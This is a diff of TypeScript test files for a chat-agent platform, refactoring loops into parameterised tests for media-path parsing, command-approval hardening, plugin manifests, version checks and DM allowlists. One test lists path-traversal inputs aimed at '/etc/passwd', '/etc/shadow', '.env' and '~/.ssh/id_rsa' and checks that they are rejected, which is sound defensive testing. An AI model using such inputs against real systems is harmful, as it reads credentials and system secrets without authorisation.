hasReplyPayloadContent(
|
||||
{
|
||||
text: " ",
|
||||
},
|
||||
{
|
||||
extraContent: true,
|
||||
},
|
||||
),
|
||||
).toBe(true);
|
||||
it.each([
|
||||
{
|
||||
name: "explicit channel-data overrides",
|
||||
payload: {
|
||||
text: " ",
|
||||
channelData: {},
|
||||
},
|
||||
options: {
|
||||
hasChannelData: true,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "extra content",
|
||||
payload: {
|
||||
text: " ",
|
||||
},
|
||||
options: {
|
||||
extraContent: true,
|
||||
},
|
||||
},
|
||||
] as const)("accepts $name", ({ payload, options }) => {
|
||||
expect(hasReplyPayloadContent(payload, options)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -8,40 +8,31 @@ describe("splitMediaFromOutput", () => {
|
||||
expect(result.text).toBe("Hello world");
|
||||
});
|
||||
|
||||
it("accepts supported media path variants", () => {
|
||||
const pathCases = [
|
||||
["/Users/pete/My File.png", "MEDIA:/Users/pete/My File.png"],
|
||||
["/Users/pete/My File.png", 'MEDIA:"/Users/pete/My File.png"'],
|
||||
["./screenshots/image.png", "MEDIA:./screenshots/image.png"],
|
||||
["media/inbound/image.png", "MEDIA:media/inbound/image.png"],
|
||||
["./screenshot.png", " MEDIA:./screenshot.png"],
|
||||
["C:\\Users\\pete\\Pictures\\snap.png", "MEDIA:C:\\Users\\pete\\Pictures\\snap.png"],
|
||||
[
|
||||
"/tmp/tts-fAJy8C/voice-1770246885083.opus",
|
||||
"MEDIA:/tmp/tts-fAJy8C/voice-1770246885083.opus",
|
||||
],
|
||||
["image.png", "MEDIA:image.png"],
|
||||
] as const;
|
||||
for (const [expectedPath, input] of pathCases) {
|
||||
const result = splitMediaFromOutput(input);
|
||||
expect(result.mediaUrls).toEqual([expectedPath]);
|
||||
expect(result.text).toBe("");
|
||||
}
|
||||
it.each([
|
||||
["/Users/pete/My File.png", "MEDIA:/Users/pete/My File.png"],
|
||||
["/Users/pete/My File.png", 'MEDIA:"/Users/pete/My File.png"'],
|
||||
["./screenshots/image.png", "MEDIA:./screenshots/image.png"],
|
||||
["media/inbound/image.png", "MEDIA:media/inbound/image.png"],
|
||||
["./screenshot.png", " MEDIA:./screenshot.png"],
|
||||
["C:\\Users\\pete\\Pictures\\snap.png", "MEDIA:C:\\Users\\pete\\Pictures\\snap.png"],
|
||||
["/tmp/tts-fAJy8C/voice-1770246885083.opus", "MEDIA:/tmp/tts-fAJy8C/voice-1770246885083.opus"],
|
||||
["image.png", "MEDIA:image.png"],
|
||||
] as const)("accepts supported media path variant: %s", (expectedPath, input) => {
|
||||
const result = splitMediaFromOutput(input);
|
||||
expect(result.mediaUrls).toEqual([expectedPath]);
|
||||
expect(result.text).toBe("");
|
||||
});
|
||||
|
||||
it("rejects traversal and home-dir paths and strips them from output", () => {
|
||||
const traversalCases = [
|
||||
"MEDIA:../../../etc/passwd",
|
||||
"MEDIA:../../.env",
|
||||
"MEDIA:~/.ssh/id_rsa",
|
||||
"MEDIA:~/Pictures/My File.png",
|
||||
"MEDIA:./foo/../../../etc/shadow",
|
||||
];
|
||||
for (const input of traversalCases) {
|
||||
const result = splitMediaFromOutput(input);
|
||||
expect(result.mediaUrls, `should reject media: ${input}`).toBeUndefined();
|
||||
expect(result.text, `should strip from text: ${input}`).toBe("");
|
||||
}
|
||||
it.each([
|
||||
"MEDIA:../../../etc/passwd",
|
||||
"MEDIA:../../.env",
|
||||
"MEDIA:~/.ssh/id_rsa",
|
||||
"MEDIA:~/Pictures/My File.png",
|
||||
"MEDIA:./foo/../../../etc/shadow",
|
||||
] as const)("rejects traversal and home-dir path: %s", (input) => {
|
||||
const result = splitMediaFromOutput(input);
|
||||
expect(result.mediaUrls).toBeUndefined();
|
||||
expect(result.text).toBe("");
|
||||
});
|
||||
|
||||
it("keeps audio_as_voice detection stable across calls", () => {
|
||||
|
||||
@@ -314,68 +314,66 @@ describe("hardenApprovedExecutionPaths", () => {
|
||||
},
|
||||
];
|
||||
|
||||
for (const testCase of cases) {
|
||||
it.runIf(process.platform !== "win32")(testCase.name, () => {
|
||||
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-approval-hardening-"));
|
||||
const oldPath = process.env.PATH;
|
||||
let pathToken: PathTokenSetup | null = null;
|
||||
if (testCase.withPathToken) {
|
||||
const binDir = path.join(tmp, "bin");
|
||||
fs.mkdirSync(binDir, { recursive: true });
|
||||
const link = path.join(binDir, "poccmd");
|
||||
fs.symlinkSync("/bin/echo", link);
|
||||
pathToken = { expected: fs.realpathSync(link) };
|
||||
process.env.PATH = `${binDir}${path.delimiter}${oldPath ?? ""}`;
|
||||
}
|
||||
try {
|
||||
if (testCase.mode === "build-plan") {
|
||||
const prepared = buildSystemRunApprovalPlan({
|
||||
command: testCase.argv,
|
||||
cwd: tmp,
|
||||
});
|
||||
expect(prepared.ok).toBe(true);
|
||||
if (!prepared.ok) {
|
||||
throw new Error("unreachable");
|
||||
}
|
||||
expect(prepared.plan.argv).toEqual(testCase.expectedArgv({ pathToken }));
|
||||
if (testCase.expectedCmdText) {
|
||||
expect(prepared.plan.commandText).toBe(testCase.expectedCmdText);
|
||||
}
|
||||
if (testCase.checkRawCommandMatchesArgv) {
|
||||
expect(prepared.plan.commandText).toBe(formatExecCommand(prepared.plan.argv));
|
||||
}
|
||||
if ("expectedCommandPreview" in testCase) {
|
||||
expect(prepared.plan.commandPreview ?? null).toBe(testCase.expectedCommandPreview);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const hardened = hardenApprovedExecutionPaths({
|
||||
approvedByAsk: true,
|
||||
argv: testCase.argv,
|
||||
shellCommand: testCase.shellCommand ?? null,
|
||||
it.runIf(process.platform !== "win32").each(cases)("$name", (testCase) => {
|
||||
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-approval-hardening-"));
|
||||
const oldPath = process.env.PATH;
|
||||
let pathToken: PathTokenSetup | null = null;
|
||||
if (testCase.withPathToken) {
|
||||
const binDir = path.join(tmp, "bin");
|
||||
fs.mkdirSync(binDir, { recursive: true });
|
||||
const link = path.join(binDir, "poccmd");
|
||||
fs.symlinkSync("/bin/echo", link);
|
||||
pathToken = { expected: fs.realpathSync(link) };
|
||||
process.env.PATH = `${binDir}${path.delimiter}${oldPath ?? ""}`;
|
||||
}
|
||||
try {
|
||||
if (testCase.mode === "build-plan") {
|
||||
const prepared = buildSystemRunApprovalPlan({
|
||||
command: testCase.argv,
|
||||
cwd: tmp,
|
||||
});
|
||||
expect(hardened.ok).toBe(true);
|
||||
if (!hardened.ok) {
|
||||
expect(prepared.ok).toBe(true);
|
||||
if (!prepared.ok) {
|
||||
throw new Error("unreachable");
|
||||
}
|
||||
expect(hardened.argv).toEqual(testCase.expectedArgv({ pathToken }));
|
||||
if (typeof testCase.expectedArgvChanged === "boolean") {
|
||||
expect(hardened.argvChanged).toBe(testCase.expectedArgvChanged);
|
||||
expect(prepared.plan.argv).toEqual(testCase.expectedArgv({ pathToken }));
|
||||
if (testCase.expectedCmdText) {
|
||||
expect(prepared.plan.commandText).toBe(testCase.expectedCmdText);
|
||||
}
|
||||
} finally {
|
||||
if (testCase.withPathToken) {
|
||||
if (oldPath === undefined) {
|
||||
delete process.env.PATH;
|
||||
} else {
|
||||
process.env.PATH = oldPath;
|
||||
}
|
||||
if (testCase.checkRawCommandMatchesArgv) {
|
||||
expect(prepared.plan.commandText).toBe(formatExecCommand(prepared.plan.argv));
|
||||
}
|
||||
fs.rmSync(tmp, { recursive: true, force: true });
|
||||
if ("expectedCommandPreview" in testCase) {
|
||||
expect(prepared.plan.commandPreview ?? null).toBe(testCase.expectedCommandPreview);
|
||||
}
|
||||
return;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
const hardened = hardenApprovedExecutionPaths({
|
||||
approvedByAsk: true,
|
||||
argv: testCase.argv,
|
||||
shellCommand: testCase.shellCommand ?? null,
|
||||
cwd: tmp,
|
||||
});
|
||||
expect(hardened.ok).toBe(true);
|
||||
if (!hardened.ok) {
|
||||
throw new Error("unreachable");
|
||||
}
|
||||
expect(hardened.argv).toEqual(testCase.expectedArgv({ pathToken }));
|
||||
if (typeof testCase.expectedArgvChanged === "boolean") {
|
||||
expect(hardened.argvChanged).toBe(testCase.expectedArgvChanged);
|
||||
}
|
||||
} finally {
|
||||
if (testCase.withPathToken) {
|
||||
if (oldPath === undefined) {
|
||||
delete process.env.PATH;
|
||||
} else {
|
||||
process.env.PATH = oldPath;
|
||||
}
|
||||
}
|
||||
fs.rmSync(tmp, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
const mutableOperandCases: RuntimeFixture[] = [
|
||||
{
|
||||
@@ -557,8 +555,9 @@ describe("hardenApprovedExecutionPaths", () => {
|
||||
},
|
||||
];
|
||||
|
||||
for (const runtimeCase of mutableOperandCases) {
|
||||
it(`captures mutable ${runtimeCase.name} operands in approval plans`, () => {
|
||||
it.each(mutableOperandCases)(
|
||||
"captures mutable $name operands in approval plans",
|
||||
(runtimeCase) => {
|
||||
if (runtimeCase.skipOnWin32 && process.platform === "win32") {
|
||||
return;
|
||||
}
|
||||
@@ -587,8 +586,8 @@ describe("hardenApprovedExecutionPaths", () => {
|
||||
);
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
},
|
||||
);
|
||||
|
||||
it("captures mutable shell script operands in approval plans", () => {
|
||||
withScriptOperandPlanFixture(
|
||||
@@ -601,22 +600,20 @@ describe("hardenApprovedExecutionPaths", () => {
|
||||
);
|
||||
});
|
||||
|
||||
for (const testCase of unsafeRuntimeInvocationCases) {
|
||||
it(testCase.name, () => {
|
||||
withFakeRuntimeBin({
|
||||
binName: testCase.binName,
|
||||
run: () => {
|
||||
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), testCase.tmpPrefix));
|
||||
try {
|
||||
testCase.setup?.(tmp);
|
||||
expectRuntimeApprovalDenied(testCase.command, tmp);
|
||||
} finally {
|
||||
fs.rmSync(tmp, { recursive: true, force: true });
|
||||
}
|
||||
},
|
||||
});
|
||||
it.each(unsafeRuntimeInvocationCases)("$name", (testCase) => {
|
||||
withFakeRuntimeBin({
|
||||
binName: testCase.binName,
|
||||
run: () => {
|
||||
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), testCase.tmpPrefix));
|
||||
try {
|
||||
testCase.setup?.(tmp);
|
||||
expectRuntimeApprovalDenied(testCase.command, tmp);
|
||||
} finally {
|
||||
fs.rmSync(tmp, { recursive: true, force: true });
|
||||
}
|
||||
},
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
it("captures the real shell script operand after value-taking shell flags", () => {
|
||||
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-shell-option-value-"));
|
||||
|
||||
@@ -83,6 +83,14 @@ function countDuplicateWarnings(registry: ReturnType<typeof loadPluginManifestRe
|
||||
).length;
|
||||
}
|
||||
|
||||
function hasPluginIdMismatchWarning(
|
||||
registry: ReturnType<typeof loadPluginManifestRegistry>,
|
||||
): boolean {
|
||||
return registry.diagnostics.some((diagnostic) =>
|
||||
diagnostic.message.includes("plugin id mismatch"),
|
||||
);
|
||||
}
|
||||
|
||||
function prepareLinkedManifestFixture(params: { id: string; mode: "symlink" | "hardlink" }): {
|
||||
rootDir: string;
|
||||
linked: boolean;
|
||||
@@ -559,72 +567,28 @@ describe("loadPluginManifestRegistry", () => {
|
||||
expect(countDuplicateWarnings(loadRegistry(candidates))).toBe(0);
|
||||
});
|
||||
|
||||
it("accepts provider-style id hints without warning", () => {
|
||||
it.each([
|
||||
{ name: "provider-style", manifestId: "openai", idHint: "openai-provider" },
|
||||
{ name: "plugin-style", manifestId: "brave", idHint: "brave-plugin" },
|
||||
{ name: "sandbox-style", manifestId: "openshell", idHint: "openshell-sandbox" },
|
||||
{
|
||||
name: "media-understanding-style",
|
||||
manifestId: "groq",
|
||||
idHint: "groq-media-understanding",
|
||||
},
|
||||
] as const)("accepts $name id hints without warning", ({ manifestId, idHint }) => {
|
||||
const dir = makeTempDir();
|
||||
writeManifest(dir, { id: "openai", configSchema: { type: "object" } });
|
||||
writeManifest(dir, { id: manifestId, configSchema: { type: "object" } });
|
||||
|
||||
const registry = loadRegistry([
|
||||
createPluginCandidate({
|
||||
idHint: "openai-provider",
|
||||
rootDir: dir,
|
||||
origin: "bundled",
|
||||
}),
|
||||
]);
|
||||
|
||||
expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts plugin-style id hints without warning", () => {
|
||||
const dir = makeTempDir();
|
||||
writeManifest(dir, { id: "brave", configSchema: { type: "object" } });
|
||||
|
||||
const registry = loadRegistry([
|
||||
createPluginCandidate({
|
||||
idHint: "brave-plugin",
|
||||
rootDir: dir,
|
||||
origin: "bundled",
|
||||
}),
|
||||
]);
|
||||
|
||||
expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts sandbox-style id hints without warning", () => {
|
||||
const dir = makeTempDir();
|
||||
writeManifest(dir, { id: "openshell", configSchema: { type: "object" } });
|
||||
|
||||
const registry = loadRegistry([
|
||||
createPluginCandidate({
|
||||
idHint: "openshell-sandbox",
|
||||
rootDir: dir,
|
||||
origin: "bundled",
|
||||
}),
|
||||
]);
|
||||
|
||||
expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts media-understanding-style id hints without warning", () => {
|
||||
const dir = makeTempDir();
|
||||
writeManifest(dir, { id: "groq", configSchema: { type: "object" } });
|
||||
|
||||
const registry = loadRegistry([
|
||||
createPluginCandidate({
|
||||
idHint: "groq-media-understanding",
|
||||
rootDir: dir,
|
||||
origin: "bundled",
|
||||
}),
|
||||
]);
|
||||
|
||||
expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe(
|
||||
false,
|
||||
);
|
||||
expect(
|
||||
hasPluginIdMismatchWarning(
|
||||
loadSingleCandidateRegistry({
|
||||
idHint,
|
||||
rootDir: dir,
|
||||
origin: "bundled",
|
||||
}),
|
||||
),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it("still warns for unrelated id hint mismatches", () => {
|
||||
|
||||
@@ -25,10 +25,14 @@ describe("min-host-version", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects invalid floor syntax", () => {
|
||||
expect(validateMinHostVersion("2026.3.22")).toBe(MIN_HOST_VERSION_FORMAT);
|
||||
expect(validateMinHostVersion(123)).toBe(MIN_HOST_VERSION_FORMAT);
|
||||
expect(validateMinHostVersion(">=2026.3.22 garbage")).toBe(MIN_HOST_VERSION_FORMAT);
|
||||
it.each(["2026.3.22", 123, ">=2026.3.22 garbage"] as const)(
|
||||
"rejects invalid floor syntax: %p",
|
||||
(minHostVersion) => {
|
||||
expect(validateMinHostVersion(minHostVersion)).toBe(MIN_HOST_VERSION_FORMAT);
|
||||
},
|
||||
);
|
||||
|
||||
it("reports invalid floor syntax when checking host compatibility", () => {
|
||||
expect(
|
||||
checkMinHostVersion({ currentVersion: "2026.3.22", minHostVersion: "2026.3.22" }),
|
||||
).toEqual({
|
||||
@@ -73,24 +77,16 @@ describe("min-host-version", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("accepts equal or newer hosts", () => {
|
||||
expect(
|
||||
checkMinHostVersion({ currentVersion: "2026.3.22", minHostVersion: ">=2026.3.22" }),
|
||||
).toEqual({
|
||||
ok: true,
|
||||
requirement: {
|
||||
raw: ">=2026.3.22",
|
||||
minimumLabel: "2026.3.22",
|
||||
},
|
||||
});
|
||||
expect(
|
||||
checkMinHostVersion({ currentVersion: "2026.4.0", minHostVersion: ">=2026.3.22" }),
|
||||
).toEqual({
|
||||
ok: true,
|
||||
requirement: {
|
||||
raw: ">=2026.3.22",
|
||||
minimumLabel: "2026.3.22",
|
||||
},
|
||||
});
|
||||
});
|
||||
it.each(["2026.3.22", "2026.4.0"] as const)(
|
||||
"accepts equal or newer hosts: %s",
|
||||
(currentVersion) => {
|
||||
expect(checkMinHostVersion({ currentVersion, minHostVersion: ">=2026.3.22" })).toEqual({
|
||||
ok: true,
|
||||
requirement: {
|
||||
raw: ">=2026.3.22",
|
||||
minimumLabel: "2026.3.22",
|
||||
},
|
||||
});
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
@@ -83,20 +83,25 @@ describe("security/dm-policy-shared", () => {
|
||||
expect(state.isMultiUserDm).toBe(false);
|
||||
});
|
||||
|
||||
it("skips pairing-store reads when dmPolicy is allowlist", async () => {
|
||||
await expectStoreReadSkipped({
|
||||
provider: "demo-channel-a",
|
||||
accountId: "default",
|
||||
dmPolicy: "allowlist",
|
||||
});
|
||||
});
|
||||
|
||||
it("skips pairing-store reads when shouldRead=false", async () => {
|
||||
await expectStoreReadSkipped({
|
||||
provider: "demo-channel-b",
|
||||
accountId: "default",
|
||||
shouldRead: false,
|
||||
});
|
||||
it.each([
|
||||
{
|
||||
name: "dmPolicy is allowlist",
|
||||
params: {
|
||||
provider: "demo-channel-a",
|
||||
accountId: "default",
|
||||
dmPolicy: "allowlist" as const,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "shouldRead=false",
|
||||
params: {
|
||||
provider: "demo-channel-b",
|
||||
accountId: "default",
|
||||
shouldRead: false,
|
||||
},
|
||||
},
|
||||
] as const)("skips pairing-store reads when $name", async ({ params }) => {
|
||||
await expectStoreReadSkipped(params);
|
||||
});
|
||||
|
||||
it("builds effective DM/group allowlists from config + pairing store", () => {
|
||||
@@ -143,25 +148,27 @@ describe("security/dm-policy-shared", () => {
|
||||
expect(pinnedOwner).toBe("u123");
|
||||
});
|
||||
|
||||
it("does not infer pinned owner for wildcard/multi-owner/non-main scope", () => {
|
||||
it.each([
|
||||
{
|
||||
name: "wildcard allowlist",
|
||||
dmScope: "main" as const,
|
||||
allowFrom: ["*"],
|
||||
},
|
||||
{
|
||||
name: "multi-owner allowlist",
|
||||
dmScope: "main" as const,
|
||||
allowFrom: ["u123", "u456"],
|
||||
},
|
||||
{
|
||||
name: "non-main scope",
|
||||
dmScope: "per-channel-peer" as const,
|
||||
allowFrom: ["u123"],
|
||||
},
|
||||
] as const)("does not infer pinned owner for $name", ({ dmScope, allowFrom }) => {
|
||||
expect(
|
||||
resolvePinnedMainDmOwnerFromAllowlist({
|
||||
dmScope: "main",
|
||||
allowFrom: ["*"],
|
||||
normalizeEntry: (entry) => entry.trim(),
|
||||
}),
|
||||
).toBeNull();
|
||||
expect(
|
||||
resolvePinnedMainDmOwnerFromAllowlist({
|
||||
dmScope: "main",
|
||||
allowFrom: ["u123", "u456"],
|
||||
normalizeEntry: (entry) => entry.trim(),
|
||||
}),
|
||||
).toBeNull();
|
||||
expect(
|
||||
resolvePinnedMainDmOwnerFromAllowlist({
|
||||
dmScope: "per-channel-peer",
|
||||
allowFrom: ["u123"],
|
||||
dmScope,
|
||||
allowFrom: [...allowFrom],
|
||||
normalizeEntry: (entry) => entry.trim(),
|
||||
}),
|
||||
).toBeNull();
|
||||
@@ -376,21 +383,30 @@ describe("security/dm-policy-shared", () => {
|
||||
];
|
||||
|
||||
for (const channel of channels) {
|
||||
for (const testCase of cases) {
|
||||
for (const {
|
||||
name,
|
||||
isGroup,
|
||||
dmPolicy,
|
||||
groupPolicy,
|
||||
allowFrom,
|
||||
groupAllowFrom,
|
||||
storeAllowFrom,
|
||||
isSenderAllowed,
|
||||
expectedDecision,
|
||||
expectedReactionAllowed,
|
||||
} of cases) {
|
||||
const access = resolveDmGroupAccessWithLists({
|
||||
isGroup: testCase.isGroup,
|
||||
dmPolicy: testCase.dmPolicy,
|
||||
groupPolicy: testCase.groupPolicy,
|
||||
allowFrom: testCase.allowFrom,
|
||||
groupAllowFrom: testCase.groupAllowFrom,
|
||||
storeAllowFrom: testCase.storeAllowFrom,
|
||||
isSenderAllowed: testCase.isSenderAllowed,
|
||||
isGroup,
|
||||
dmPolicy,
|
||||
groupPolicy,
|
||||
allowFrom,
|
||||
groupAllowFrom,
|
||||
storeAllowFrom,
|
||||
isSenderAllowed,
|
||||
});
|
||||
const reactionAllowed = access.decision === "allow";
|
||||
expect(access.decision, `[${channel}] ${testCase.name}`).toBe(testCase.expectedDecision);
|
||||
expect(reactionAllowed, `[${channel}] ${testCase.name} reaction`).toBe(
|
||||
testCase.expectedReactionAllowed,
|
||||
);
|
||||
expect(access.decision, `[${channel}] ${name}`).toBe(expectedDecision);
|
||||
expect(reactionAllowed, `[${channel}] ${name} reaction`).toBe(expectedReactionAllowed);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user